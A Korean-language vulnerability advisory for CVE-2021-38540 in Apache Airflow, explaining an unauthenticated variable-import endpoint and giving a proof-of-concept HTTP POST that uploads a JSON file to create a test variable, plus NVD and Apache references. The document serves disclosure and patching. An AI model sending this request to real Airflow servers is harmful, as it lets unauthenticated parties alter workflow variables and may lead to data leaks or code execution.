
중요 구성 요소에 대한 인증 누락 CVE-2021-38540
중요 구성 요소의 인증 누락 취약점 (CVE-2021-38540)
Airflow >=2.0.0, <2.1.3에서 변수 가져오기 엔드포인트가 인증으로 보호되지 않았습니다. 이로 인해 인증되지 않은 사용자가 해당 엔드포인트에 접근하여 DAG에 사용되는 Airflow 변수를 추가/수정할 수 있었으며, 잠재적으로 서비스 거부, 정보 유출 또는 원격 코드 실행이 발생할 수 있었습니다. 이 문제는 Apache Airflow >=2.0.0, <2.1.3에 영향을 미칩니다. [CVE-2021-38540]
이 PoC는 Admin>variables [ 변수 목록 ] 아래에 kafka_captainhook_user라는 변수를 생성하는 요청을 포함합니다.
POST /variable/varimport HTTP/2
Host: airflow.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------33976360506209910502051128075
Content-Length: 398
Origin: https://airflow.example.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="csrf_token"
-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="file"; filename="variables.json"
Content-Type: application/json
{
"kafka_captainhook_user": "testCaptain"
}
-----------------------------33976360506209910502051128075--
https://nvd.nist.gov/vuln/detail/CVE-2021-38540 https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E